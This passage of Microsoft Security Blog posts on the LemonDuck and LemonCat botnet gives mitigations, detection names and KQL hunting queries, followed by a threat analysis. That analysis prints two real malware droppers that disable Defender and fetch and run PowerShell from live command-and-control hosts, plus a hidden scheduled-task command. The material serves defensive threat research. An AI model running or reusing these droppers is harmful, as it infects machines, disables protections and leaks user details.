media](<https://docs.microsoft.com/windows/security/threat-protection/device-control/control-usb-devices-using-intune>).\n * Ensure that Linux and Windows devices are included in routine patching, and validate protection against the CVE-2019-0708, CVE-2017-0144, CVE-2017-8464, CVE-2020-0796, CVE-2021-26855, CVE-2021-26858, and CVE-2021-27065 vulnerabilities, as well as against brute-force attacks in popular services like SMB, SSH, RDP, SQL, and others.\n * [Turn on PUA protection](<https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/detect-block-potentially-unwanted-apps-windows-defender-antivirus>). Potentially unwanted applications (PUA) can negatively impact machine performance and employee productivity. In enterprise environments, PUA protection can stop adware, torrent downloaders, and coin miners.\n * Turn on [tamper protection features](<https://docs.microsoft.com/windows/security/threat-protection/microsoft-defender-antivirus/prevent-changes-to-security-settings-with-tamper-protection>)to prevent attackers from stopping security services.\n * Turn on [cloud-delivered protection](<https://docs.microsoft.com/windows/security/threat-protection/microsoft-defender-antivirus/enable-cloud-protection-microsoft-defender-antivirus>)and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.\n * Encourage users to use Microsoft Edge and other web browsers that support SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware. [Turn on network protection](<https://docs.microsoft.com/windows/security/threat-protection/microsoft-defender-atp/enable-network-protection>)to block connections to malicious domains and IP addresses.\n * Check your [Office 365 antispam policy](<https://docs.microsoft.com/microsoft-365/security/office-365-security/configure-your-spam-filter-policies>)and your [mail flow rules](<https://docs.microsoft.com/microsoft-365/security/office-365-security/create-safe-sender-lists-in-office-365#recommended-use-mail-flow-rules>) for allowed senders, domains and IP addresses. [Apply extra caution](<https://docs.microsoft.com/exchange/troubleshoot/antispam/cautions-against-bypassing-spam-filters>) when using these settings to bypass antispam filters, even if the allowed sender addresses are associated with trusted organizations\u2014Office 365 will honor these settings and can let potentially harmful messages pass through. [Review system overrides in threat explorer](<https://docs.microsoft.com/microsoft-365/security/office-365-security/threat-explorer#system-overrides>) to determine why attack messages have reached recipient mailboxes.\n\n### Attack surface reduction\n\nTurn on the following attack surface reduction rules, to block or audit activity associated with this threat:\n\n * [Block executable content from email client and webmail](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-executable-content-from-email-client-and-webmail>)\n * [Block JavaScript or VBScript from launching downloaded executable content](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-javascript-or-vbscript-from-launching-downloaded-executable-content>)\n * [Block Office applications from creating executable content](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-office-applications-from-creating-executable-content>)\n * [Block all office applications from creating child processes](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-all-office-applications-from-creating-child-processes>)\n * [Block executable files from running unless they meet a prevalence, age, or trusted list criterion](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-executable-files-from-running-unless-they-meet-a-prevalence-age-or-trusted-list-criterion>)\n * [Block execution of potentially obfuscated scripts](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-execution-of-potentially-obfuscated-scripts>)\n * [Block persistence through WMI event subscription](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-persistence-through-wmi-event-subscription>)\n * [Block process creations originating from PSExec and WMI commands](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction#block-process-creations-originating-from-psexec-and-wmi-commands>)\n\n### Antivirus detections\n\nMicrosoft Defender Antivirus detects threat components as the following malware:\n\n * TrojanDownloader:PowerShell/LemonDuck!MSR\n * TrojanDownloader:Linux/LemonDuck.G!MSR\n * Trojan:Win32/LemonDuck.A\n * Trojan:PowerShell/LemonDuck.A\n * Trojan:PowerShell/LemonDuck.B\n * Trojan:PowerShell/LemonDuck.C\n * Trojan:PowerShell/LemonDuck.D\n * Trojan:PowerShell/LemonDuck.E\n * Trojan:PowerShell/LemonDuck.F\n * Trojan:PowerShell/LemonDuck.G\n * TrojanDownloader:PowerShell/LodPey.A\n * TrojanDownloader:PowerShell/LodPey.B\n * Trojan:PowerShell/Amynex.A\n * Trojan:Win32/Amynex.A\n\n### Endpoint detection and response (EDR) alerts\n\nAlerts with the following titles in the security center can indicate threat activity on your network:\n\n * LemonDuck botnet C2 domain activity\n * LemonDuck malware\n\nThe following alerts might also indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.\n\n * Suspicious PowerShell command line\n * Suspicious remote activity\n * Suspicious service registration\n * Suspicious Security Software Discovery\n * Suspicious System Network Configuration Discovery\n * Suspicious sequence of exploration activities\n * Suspicious Process Discovery\n * Suspicious System Owner/User Discovery\n * Suspicious System Network Connections Discovery\n * Suspicious Task Scheduler activity\n * Suspicious Microsoft Defender Antivirus exclusion\n * Suspicious behavior by cmd.exe was observed\n * Suspicious remote PowerShell execution\n * Suspicious behavior by svchost.exe was observed\n * A WMI event filter was bound to a suspicious event consumer\n * Attempt to hide use of dual-purpose tool\n * System executable renamed and launched\n * Microsoft Defender Antivirus protection turned off\n * Anomaly detected in ASEP registry\n * A script with suspicious content was observed\n * An obfuscated command line sequence was identified\n * A process was injected with potentially malicious code\n * A malicious PowerShell Cmdlet was invoked on the machine\n * Suspected credential theft activity\n * Outbound connection to non-standard port\n * Sensitive credential memory read\n\n### Advanced hunting\n\nThe LemonDuck botnet is highly varied in its payloads and delivery methods after email distribution so can sometimes evade alerts. You can use the advanced hunting capability in Microsoft 365 Defender and Microsoft Defender for Endpoint to surface activities associated with this threat.\n\n**NOTE:** The following sample queries lets you search for a week's worth of events. To explore up to 30 days worth of raw data to inspect events in your network and locate potential Lemon Duck-related indicators for more than a week, go to the **Advanced Hunting** page > **Query** tab, select the calendar drop-down menu to update your query to hunt for the **Last 30 days**.\n\n**LemonDuck template subject lines**\n\nLooks for subject lines that are present from 2020 to 2021 in dropped scripts that attach malicious LemonDuck samples to emails and mail it to contacts of the mailboxes on impacted machines. Additionally, checks if Attachments are present in the mailbox. General attachment types to check for at present are .DOC, .ZIP or .JS, though this could be subject to change as well as the subjects themselves. [Run query in Microsoft 365 security center.](<https://security.microsoft.com/hunting?query=H4sIAAAAAAAEAG2RQUvDQBCF31nwP-ytCnroUUElxEoEUUirxWOiXRuNicSkpeCP99vJepESZnYz8-a9mdmZPlWoUq2ZNlqpUa9vHepAP3Laak2sw5zmGlTqnfsLGEdNgz_SRAtDOc4OTM-fUyuPT_WgJ93qWqea6gzsCfY_6mBKqdiYypcpVHRVRxVPzmmpjLqRIVOiO_Qy4gk8gW1ONtezzo0_x-7JOcvleiQfasNkE7gWuolcS_otbKI-zuHRH_QR82-ot3olXmpHfox6asJetlhtndbcer6wrxFTcmvhWdmmvG35rz7srGLTLvodyAF82FyHWmC5Ane89y0SUyroc837ja-WGkNjk1zqAj_VLyyp2szeAQAA&runQuery=true&timeRangeId=week>)\n\n`EmailEvents \n| where Subject in ('The Truth of COVID-19','COVID-19 nCov Special info WHO','HALTH ADVISORY:CORONA VIRUS', \n'WTF','What the fcuk','good bye','farewell letter','broken file','This is your order?') \n| where AttachmentCount >= 1`\n\n**LemonDuck Botnet Registration Functions**\n\nLooks for instances of function runs with name \u201cSIEX\u201d, which within the Lemon Duck initializing scripts is used to assign a specific user-agent for reporting back to command-and-control infrastructure with. This query should be accompanied by additional surrounding logs showing successful downloads from component sites. [Run query in Microsfot 365 security center.](<https://security.microsoft.com/hunting?query=H4sIAAAAAAAEAG2PuwrCQBRETy34D4ufIViID7ATYmFhE9yAAV9oMIgm3-7ZLQRBhvtgmJm7O6fiQc3euXCrONNwZ8iAN4GWg9zNCkxVNWovajY8uWZ2IgIj1vJt1hbZcxQzuZModUQ1_1OjqL_Jpb6le0qIviRd6O3pxoud_Tc1MePcC1b-YZv3zvoA7T5fgtwAAAA&runQuery=true&timeRangeId=week>)\n\n`DeviceEvents \n| where ActionType == \"PowerShellCommand\" \n| where AdditionalFields =~ \"{\\\"Command\\\":\\\"SIEX\\\"}\"`\n\n**LemonDuck keyword identification**\n\nLooks for simple usage of LemonDuck seen keyword variations initiated by PowerShell processes. All results should reflect Lemon_Duck behavior, however there are existing variants of Lemon_Duck that might not use this term explicitly, so validate with additional hunting queries based on known TTPs. [Run query in Microsoft 365 security center.](<https://security.microsoft.com/hunting?query=H4sIAAAAAAAEAJ2NQQrCMBBF_1rwDqErBfEGrqyCUKQ3kKLFBpsojdoKHt7nbESX8pnM8P7MT65ad3nt6aU6nW1KaAWvFXVlHmukp5x6NbCOctrgeVyvyt6o40_CGtoyb9kIdrNATpkubPWWlCyxRXP6QGV__rZkDqjCO6iwnfdlA0naGX9oQn4BD2xHaK4bCSfo7Mv58Klezaq6iiQBAAA&runQuery=true&timeRangeId=week>)\n\n`DeviceProcessEvents \n| where InitiatingProcessFileName == \"powershell.exe\" \n| where InitiatingProcessCommandLine has_any(\"Lemon_Duck\",\"LemonDuck\")`\n\n**LemonDuck Microsoft Defender tampering**\n\nLooks for a command line event where LemonDuck or other like malware might attempt to modify Defender by disabling real-time monitoring functionality or adding entire drive letters to the exclusion criteria. The exclusion additions will often succeed even if tamper protection is enabled due to the design of the application. Custom alerts could be created in an environment for particular drive letters common in the environment. [Run query in Microsoft 365 security center.](<https://security.microsoft.com/hunting?query=H4sIAAAAAAAEAKWRzQqCQBSFzzroHcRVgT1EpIugIKp9mFoappL9LXr4vhkNrJUQl5m53jPnnOsdX4nuyhRxrnRRabOaCKgnKnQldzTUQC_Oh1KqF5ajOWgGnim0e6Hjj8aM_EyEYLEW9o5hplRq7dhzwtFIrjYgV020VGVVEh1ap8LqufK46cpHpYa5h5lozTIqxv9MvsSx6aqE2_T0YU7pIe7hEOjJd64bPpnV-_4rV-PORCqLncAiXJ1eE_D-mJ7h-p1Xm4OZ2radQI1aSFbpDTwRAUzcAQAA&runQuery=true&timeRangeId=week>)\n\n`DeviceProcessEvents \n| where InitiatingProcessCommandLine has_all (\"Set-MpPreference\", \"DisableRealtimeMonitoring\", \"Add-MpPreference\", \"ExclusionProcess\") \n| project ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp`\n\n**Antivirus uninstallation attempts**\n\nLooks for a command line event where LemonDuck or other similar malware might attempt to modify Defender by disabling real-time monitoring functionality or adding entire drive letters to the exclusion criteria. The exclusion additions will often succeed even if tamper protection is enabled due to the design of the application. Custom alerts could be created in an environment for particular drive letters common in the environment. [Run query in Microsoft 365 security center.](<https://security.microsoft.com/hunting?query=H4sIAAAAAAAEALWQzUrEQBCE6yz4DiEnF0SfwIP4A6IsguBVQja4wyaTMBN_FsRn97M2u6LeBBl6plPdVV2dczV6VlDNe6uk3lnmXIA3ihrJ97WnNxV60RIsEYWuqAWqQZXvqMcfCpegLfmcjs6cE71zl-h0nnkE-kqUf5xwRt5xKmoL3bjnk7kEyXrgbjkH6A_mLfQEd_w2p9QhEXceW1RWO7yeNAqY0foZ_gbbdByD9a6MVqw8IfjvlZr922ZRa292bWSwdrbz9eSswkNlv1_fw5Rn-mp2SvaxZTTGt_2n3inonkj05gmf4y1R6akXuvulNNMH1HgRaFYCAAA&runQuery=true&timeRangeId=week>)\n\n`DeviceProcessEvents \n| where InitiatingProcessFileName =~ \"wmic.exe\" \n| where InitiatingProcessCommandLine has_all(\"product where\",\"name like\",\"call uninstall\",\"/nointeractive\") \n| where InitiatingProcessCommandLine has_any(\"Kaspersky\",\"avast\",\"avp\",\"security\",\"eset\",\"AntiVirus\",\"Norton Security\")`\n\n**Known LemonDuck component script installations**\n\nLooks for instances of the callback actions which attempt to obfuscate detection while downloading supporting scripts such as those that enable the \u201cKiller\u201d and \u201cInfection\u201d functions for the malware as well as the mining components and potential secondary functions. Options for more specific instances included to account for environments with potential false positives. Most general versions are intended to account for minor script or component changes such as changing to utilize non .bin files, and non-common components. [Run query in Microsoft 365 security center.](<https://security.microsoft.com/hunting?query=H4sIAAAAAAAEAN2QzWrCUBCFz1roO1xctSC60p2rVlEQ8Q0kJrYJJlGS-Ac-vN8dA9rgwm3LMHcm58zPmXxprYMShcSFCm0tK7ER-Fq5KvI3tXSR01ExWIE7TeES2ESBvbl-GhPGoCn5nIrMenyV07va2lF3tFmlzUyxLvGEt9XBQ3qiB-zjqYpXdHySZ1gAF2lmNb43Bim15PXbvaoePQ4uhNuSVcw513oiU5xTvwdNNaxxr7LfqEmJAV-RaQpq9qZjR3_Fjoltj-0yB1Pw-gv__j2e62pluu7X_Z_bNsy83-eRRN8NJNPg1z-4At8RQUloAwAA&runQuery=true&timeRangeId=week>)\n\n`DeviceProcessEvents \n| where InitiatingProcessFileName in (\"powershell.exe\",\"cmd.exe\") \n| where InitiatingProcessCommandLine has_all(\"/c echo try\",\"down_url=\",\"md5\",\"downloaddata\",\"ComputeHash\") or \nInitiatingProcessCommandLine has_all(\"/c echo try\",\"down_url=\",\"md5\",\"downloaddata\",\"ComputeHash\",\".bin\") or \nInitiatingProcessCommandLine has_all(\"/c echo try\",\"down_url=\",\"md5\",\"downloaddata\",\"ComputeHash\",\"kr.bin\",\"if.bin\",\"m6.bin\")`\n\n**LemonDuck named scheduled creation**\n\nLooks for instances of the LemonDuck creates statically named scheduled tasks or a semi-unique pattern of task creation LemonDuck also utilizes launching hidden PowerShell processes in conjunction with randomly generated task names. An example of a randomly generated one is: "schtasks.exe" /create /ru system /sc MINUTE /mo 60 /tn fs5yDs9ArkV\\2IVLzNXfZV/F /tr "powershell -w hidden -c PS_CMD". [Run query in Microsoft 365 security center.](<https://security.microsoft.com/hunting?query=H4sIAAAAAAAEAKWS0WrCQBBF77PgPyx5UrD6BX3S-mRLwQ8o2ygoGpXdtGlB_PaenSQlFV-kLLO53Jmde3eyM631qa1yvq8KOhqKrCf4tQ4qwX31dJZTpQ1cIJzmnNqDXuRVGPOoC3tGfU5dCR-1I8Zkv4jsZp-_qlNwwfIor7RA42BVG-s2oMeE2nTSo5B6Dv_d9c3476Z7CXZ6526e8zuQB-_Jja7yH-bAX2WCTcybM4duYE8O73WUNG_dt9YKqNc44jxarvjNpj_Q4gKlrsMWzztsaPCJ2spmGG2WyYPTA1xytsXpyt5E4nKb8hKvUz1rZvf9AWK9PVhOAgAA&runQuery=true&timeRangeId=week>)\n\n`DeviceProcessEvents \n| where FileName =~ \"schtasks.exe\" \n| where ProcessCommandLine has(\"/create\") \n| where ProcessCommandLine has_any(\"/tn blackball\",\"/tn blutea\",\"/tn rtsa\") or \nProcessCommandLine has_all(\"/create\",\"/ru\",\"system\",\"/sc\",\"/mo\",\"/tn\",\"/F\",\"/tr\",\"powershell -w hidden -c PS_CMD\")`\n\n**Competition killer script scheduled task execution**\n\nLooks for instances of the LemonDuck component KR.Bin, which is intended to kill competition prior to making the installation and persistence of the malware concrete. The killer script used is based off historical versions from 2018 and earlier, which has grown over time to include scheduled task and service names of various botnets, malware, and other competing services. The version currently in use by LemonDuck has approximately 40-60 scheduled task names. The upper maximum in this query can be modified and adjusted to include time bounding. [Run query in Microsoft 365 security center.](<https://security.microsoft.com/hunting?query=H4sIAAAAAAAEAJWRT0_CQBDF35nE79D0BAkRDhw4oBeqCQbUxD_XBguxhlpMW8EaP7y_HQppiATMZmZnZt_MvLwNNNdKb4q475VpaVHOuaI-V6qC-EwN_cjTWjG1DPP20EPid86UjpnGTEwNFVPJFeITTlM-WUS1sPoCOwf3hflqYx0FxAlW1GqPut3F1_jWjlGuz2pvxs5v2-myBVHIq5vTPIlri84XlfigpskIxHaX41mYJrMKteX5zMTEmLj9F5jjk-FLWCTW8woyhsuGU3gip7-U_8-E-g-ksHE_MOHOyTeKPtDnuJZVfme8I2Pt6YZ4hXl60gdzp7V_WaKyf4DjYXUuTZ-euqbSMS0Hhu6D_gUG3Q8GqgIAAA&runQuery=true&timeRangeId=week>)\n\n`DeviceProcessEvents \n| where ProcessCommandLine has_all(\"schtasks.exe\",\"/Delete\",\"/TN\",\"/F\") \n| summarize make_set(ProcessCommandLine) by DeviceId \n| extend DeleteVolume = array_length(set_ProcessCommandLine) \n| where set_ProcessCommandLine has_any(\"Mysa\",\"Sorry\",\"Oracle Java Update\",\"ok\") where DeleteVolume >= 40 and DeleteVolume <= 80`\n\n**LemonDuck hosts file adjustment for dynamic C2 downloads**\n\nLooks for a PowerShell event wherein LemonDuck will attempt to simultaneously retrieve the IP address of a C2 and modify the hosts file with the retrieved address. The address is then attributed to a name that does not exist and is randomly generated. The script then instructs the machine to download data from the address. This query has a more general and more specific version, allowing the detection of this technique if other activity groups were to utilize it. [Run query in Microsoft 365 security center.](<https://security.microsoft.com/hunting?query=H4sIAAAAAAAEAMWQuwrCYAyFzyz4DqWTgvgGDmK9gYigu5S22IK20op18OH9Erro4OAiIZc_OTknbaRMdxVKyDvVqrxqsDn9TKVu1H319FSgVjm9Gg-0ZlYwLRR7LHX6YFjQPVNvQVx8Z4IFCnUF1TpT44xnbEx-4OGPajPqCxYzS7VxjG3mdBodiaYygH9J_6YV-IY8BZ26irFYDDXCDZN0dd5hbTaE0y6s2PnHXWv432cHNvZs1J3-9_vtHfn_L9Gt0E952_Wxf90Lt1_r6hICAAA&runQuery=true&timeRangeId=week>)\n\n`DeviceProcessEvents \n| where InitiatingProcessFileName == \"powershell.exe\" \n| where InitiatingProcessCommandLine has_all(\"GetHostAddresses\",\"etc\",\"hosts\") \nor InitiatingProcessCommandLine has_all(\"GetHostAddresses\",\"IPAddressToString\",\"etc\",\"hosts\",\"DownloadData\")`\n\n \n\n[Learn how your organization can stop attacks through automated, cross-domain security and built-in AI with Microsoft Defender 365](<https://www.microsoft.com/en-us/microsoft-365/security/microsoft-365-defender>).\n\n \n\nThe post [When coin miners evolve, Part 2: Hunting down LemonDuck and LemonCat attacks](<https://www.microsoft.com/security/blog/2021/07/29/when-coin-miners-evolve-part-2-hunting-down-lemonduck-and-lemoncat-attacks/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/security/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-07-29T19:00:59", "type": "mmpc", "title": "When coin miners evolve, Part 2: Hunting down LemonDuck and LemonCat attacks", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-0144", "CVE-2017-8464", "CVE-2019-0708", "CVE-2020-0796", "CVE-2021-26855", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-07-29T19:00:59", "id": "MMPC:4A6B394DCAF12E05136AE087248E228C", "href": "https://www.microsoft.com/security/blog/2021/07/29/when-coin-miners-evolve-part-2-hunting-down-lemonduck-and-lemoncat-attacks/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-30T00:39:50", "description": "_[Note: In this two-part blog series, we expose a modern malware infrastructure and provide guidance for protecting against the wide range of threats it enables. Part 1 covers the evolution of the threat, how it spreads, and how it impacts organizations. [Part 2](<https://www.microsoft.com/security/blog/2021/07/29/when-coin-miners-evolve-part-2-hunting-down-lemonduck-and-lemoncat-attacks/>) is a deep dive on the attacker behavior and will provide investigation guidance.] _\n\nCombating and preventing today's threats to enterprises require comprehensive protection focused on addressing the full scope and impact of attacks. Anything that can gain access to machines\u2014even so-called commodity malware\u2014can bring in more dangerous threats. We\u2019ve seen this in banking Trojans serving as entry point for ransomware and hands-on-keyboard attacks. LemonDuck, an actively updated and robust malware that\u2019s primarily known for its botnet and cryptocurrency mining objectives, followed the same trajectory when it adopted more sophisticated behavior and escalated its operations. Today, beyond using resources for its traditional bot and mining activities, LemonDuck steals credentials, removes security controls, spreads via emails, moves laterally, and ultimately drops more tools for human-operated activity.\n\nLemonDuck\u2019s threat to enterprises is also in the fact that it\u2019s a cross-platform threat. It\u2019s one of a few documented bot malware families that targets Linux systems as well as Windows devices. It uses a wide range of spreading mechanisms\u2014phishing emails, exploits, USB devices, brute force, among others\u2014and it has shown that it can quickly take advantage of news, events, or the release of new exploits to run effective campaigns. For example, in 2020, it was observed using COVID-19-themed lures in email attacks. In 2021, it exploited newly patched [Exchange Server vulnerabilities](<https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/>) to gain access to outdated systems.\n\nThis threat, however, does not just limit itself to new or popular vulnerabilities. It continues to use older vulnerabilities, which benefit the attackers at times when focus shifts to patching a popular vulnerability rather than investigating compromise. Notably, LemonDuck removes other attackers from a compromised device by getting rid of competing malware and preventing any new infections by patching the same vulnerabilities it used to gain access.\n\nIn the early years, LemonDuck targeted China heavily, but its operations have since expanded to include many other countries, focusing on the manufacturing and IoT sectors. Today, LemonDuck impacts a very large geographic range, with the United States, Russia, China, Germany, the United Kingdom, India, Korea, Canada, France, and Vietnam seeing the most encounters.\n\n\n\n_Figure 1. Global distribution of LemonDuck botnet activity_\n\nIn 2021, LemonDuck campaigns started using more diversified command and control (C2) infrastructure and tools. This update supported the marked increase in hands-on-keyboard actions post-breach, which varied depending on the perceived value of compromised devices to the attackers. Despite all these upgrades, however, LemonDuck still utilizes C2s, functions, script structures, and variable names for far longer than the average malware. This is likely due to its use of bulletproof hosting providers such as Epik Holdings, which are unlikely to take any part of the LemonDuck infrastructure offline even when reported for malicious actions, allowing LemonDuck to persist and continue to be a threat.\n\nIn-depth research into malware infrastructures of various sizes and operations provides invaluable insight into the breadth of threats that organizations face today. In the case of LemonDuck, the threat is cross-platform, persistent, and constantly evolving. Research like this emphasizes the importance of having comprehensive visibility into the wide range of threats, as well as the ability to correlate simple, disparate activity such as coin mining to more dangerous adversarial attacks.\n\n## LemonDuck and LemonCat infrastructure\n\nThe earliest documentation of LemonDuck was from its cryptocurrency campaigns in May 2019. These campaigns included PowerShell scripts that employed additional scripts kicked off by a scheduled task. The task was used to bring in the PCASTLE tool to achieve a couple of goals: abuse the EternalBlue SMB exploit, as well as use brute force or pass-the-hash to move laterally and begin the operation again. Many of these behaviors are still observed in LemondDuck campaigns today.\n\nLemonDuck is named after the variable \u201cLemon_Duck\u201d in one of the said PowerShell scripts. The variable is often used as the user agent, in conjunction with assigned numbers, for infected devices. The format used two sets of alphabetical characters separated by dashes, for example: \u201cUser-Agent: Lemon-Duck-[A-Z]-[A-Z]\u201d. The term still appears in PowerShell scripts, as well as in many of the execution scripts, specifically in a function called SIEX, which is used to assign a unique user-agent during botnet connection in attacks as recently as June 2021.\n\nLemonDuck frequently utilizes open-source material built off of resources also used by other botnets, so there are many components of this threat that would seem familiar. Microsoft researchers are aware of two distinct operating structures, which both use the LemonDuck malware but are potentially operated by two different entities for separate goals.\n\nThe first, which we call the \u201cDuck\u201d infrastructure, uses historical infrastructures discussed in this report. It is highly consistent in running campaigns and performs limited follow-on activities. This infrastructure is seldom seen in conjunction with edge device compromise as an infection method, and is more likely to have random display names for its C2 sites, and is always observed utilizing \u201cLemon_Duck\u201d explicitly in script.\n\nThe second infrastructure, which we call \u201cCat\u201d infrastructure\u2014for primarily using two domains with the word \u201ccat\u201d in them (_sqlnetcat[.]com_, _netcatkit[.]com_)\u2014emerged in January 2021. It was used in attacks exploiting vulnerabilities in Microsoft Exchange Server. Today, the Cat infrastructure is used in attacks that typically result in backdoor installation, credential and data theft, and malware delivery. It is often seen delivering the malware Ramnit.\n\n \n\n**Sample Duck domains** | **Sample Cat domains** \n---|--- \n \n * cdnimages[.]xyz\n * bb3u9[.]com\n * zz3r0[.]com\n * pp6r1[.]com\n * amynx[.]com\n * ackng[.]com\n * hwqloan[.]com\n * js88[.]ag\n * zer9g[.]com\n * b69kq[.]com\n| \n\n * sqlnetcat[.]com\n * netcatkit[.]com\n * down[.]sqlnetcat[.]com\n\n \n \nThe Duck and Cat infrastructures use similar subdomains, and they use the same task names, such as \u201cblackball\u201d. Both infrastructures also utilize the same packaged components hosted on similar or identical sites for their mining, lateral movement, and competition-removal scripts, as well as many of the same function calls.\n\nThe fact that the Cat infrastructure is used for more dangerous campaigns does not deprioritize malware infections from the Duck infrastructure. Instead, this intelligence adds important context for understanding this threat: the same set of tools, access, and methods can be re-used at dynamic intervals, to greater impact. Despite common implications that cryptocurrency miners are less threatening than other malware, its core functionality mirrors non-monetized software, making any botnet infection worthy of prioritization.\n\n\n\n_Figure 2. LemonDuck attack chain from the Duck and Cat infrastructures_\n\n## Initial access\n\nLemonDuck spreads in a variety of ways, but the two main methods are (1) compromises that are either edge-initiated or facilitated by bot implants moving laterally within an organization, or (2) bot-initiated email campaigns.\n\nLemonDuck acts as a loader for many other follow-on activities, but one if its main functions is to spread by compromising other systems. Since its first appearance, the LemonDuck operators have leveraged scans against both Windows and Linux devices for open or weakly authenticated SMB, Exchange, SQL, Hadoop, REDIS, RDP, or other edge devices that might be vulnerable to password spray or application vulnerabilities like CVE-2017-0144 (EternalBlue), CVE-2017-8464 (LNK RCE), CVE-2019-0708 (BlueKeep), CVE-2020-0796 (SMBGhost), CVE-2021-26855 (ProxyLogon), CVE-2021-26857 (ProxyLogon), CVE-2021-26858 (ProxyLogon), and CVE-2021-27065 (ProxyLogon).\n\nOnce inside a system with an Outlook mailbox, as part of its normal exploitation behavior, LemonDuck attempts to run a script that utilizes the credentials present on the device. The script instructs the mailbox to send copies of a phishing message with preset messages and attachments to all contacts.\n\nBecause of this method of contact messaging, security controls that rely on determining if an email is sent from a suspicious sender don\u2019t apply. This means that email security policies that reduce scanning or coverage for internal mail need to be re-evaluated, as sending emails through contact scraping is very effective at bypassing email controls.\n\nFrom mid-2020 to March 2021, LemonDuck\u2019s email subjects and body content have remained static, as have the attachment names and formats. These attachment names and formats have changed very little from similar campaigns that occurred in early 2020.\n\n \n\n**Sample email subjects ** | **Sample email body content** \n---|--- \n \n * The Truth of COVID-19\n * COVID-19 nCov Special info WHO\n * HALTH ADVISORY:CORONA VIRUS\n * WTF\n * What the fcuk\n * good bye\n * farewell letter\n * broken file\n * This is your order?\n| \n\n * Virus actually comes from United States of America\n * very important infomation for Covid-19\n * see attached document for your action and discretion.\n * the outbreak of CORONA VIRUS is cause of concern especially where forign personal have recently arrived or will be arriving at various intt in near future.\n * what's wrong with you?are you out of your mind!!!!!\n * are you out of your mind!!!!!what 's wrong with you?\n * good bye, keep in touch\n * can you help me to fix the file,i can't read it\n * file is brokened, i can't open it \n \nThe attachment used for these lures is one of three types: .doc, .js, or a .zip containing a .js file. Whatever the type, the file is named \u201creadme\u201d. Occasionally, all three types are present in the same email.\n\n\n\n_Figure 3. Sample email_\n\nWhile the JavaScript is detected by many security vendors, it might be classified with generic detection names. It could be valuable for organizations to sanitize JavaScript or VBScript executing or calling prompts (such as PowerShell) directly from mail downloads through solutions such as [custom detection rules](<https://docs.microsoft.com/en-us/microsoft-365/security/defender/custom-detection-rules?view=o365-worldwide>).\n\nSince LemonDuck began operating, the .zip to .js file execution method is the most common. The JavaScript has replaced the scheduled task that LemonDuck previously used to kickstart the PowerShell script. This PowerShell script has looked very similar throughout 2020 and 2021, with minor changes depending on the version, indicating continued development. Below is a comparison of changes from the most recent iterations of the email-delivered downloads and those from April of 2020.\n\n \n\n**April 2020 PowerShell script** | **March 2021 PowerShell script** \n---|--- \n`var cmd =new ActiveXObject(\"WScript.Shell\");var cmdstr=\"cmd /c start /b notepad \"+WScript.ScriptFullName+\" & powershell -w hidden -c \\\"if([Environment]::OSVersion.version.Major -eq '10'){Set-ItemProperty -Path 'HKCU:\\Environment' -Name 'windir' -Value 'cmd /c powershell -w hidden Set-MpPreference -DisableRealtimeMonitoring 1 & powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://t.awcna.com/mail.jsp?js*%username%*%computername%''+[Environment]::OSVersion.version.Major) &::';sleep 1;schtasks /run /tn \\\\Microsoft\\\\Windows\\\\DiskCleanup\\\\SilentCleanup /I;Remove-ItemProperty -Path 'HKCU:\\Environment' -Name 'windir' -Force}else{IEx(ne`w-obj`ect Net.WebC`lient).DownloadString('http://t.awcna.com/7p.php');bpu -method migwiz -Payload 'powershell -w hidden IEx(New-Object Net.WebClient).DownLoadString(''http://t.awcna.com/mail.jsp?js*%username%*%computername%''+[Environment]::OSVersion.version.Majo \n//This File is broken.` | `var cmd =new ActiveXObject(\"WScript.Shell\");var cmdstr=\"cmd /c start /b notepad \"+WScript.ScriptFullName+\" & powershell -w hidden IE`x(Ne`w-Obj`ect Net.WebC`lient).DownLoadString('http://t.z'+'z3r0.com/7p.php?0.7*mail_js*%username%*%computername%*'+[Environment]::OSVersion.version.Major);bpu ('http://t.z'+'z3r0.com/mail.jsp?js_0.7')\";cmd.run(cmdstr,0,1); \n//This File is broken.` \n \n \n\nAfter the emails are sent, the inbox is cleaned to remove traces of these mails. This method 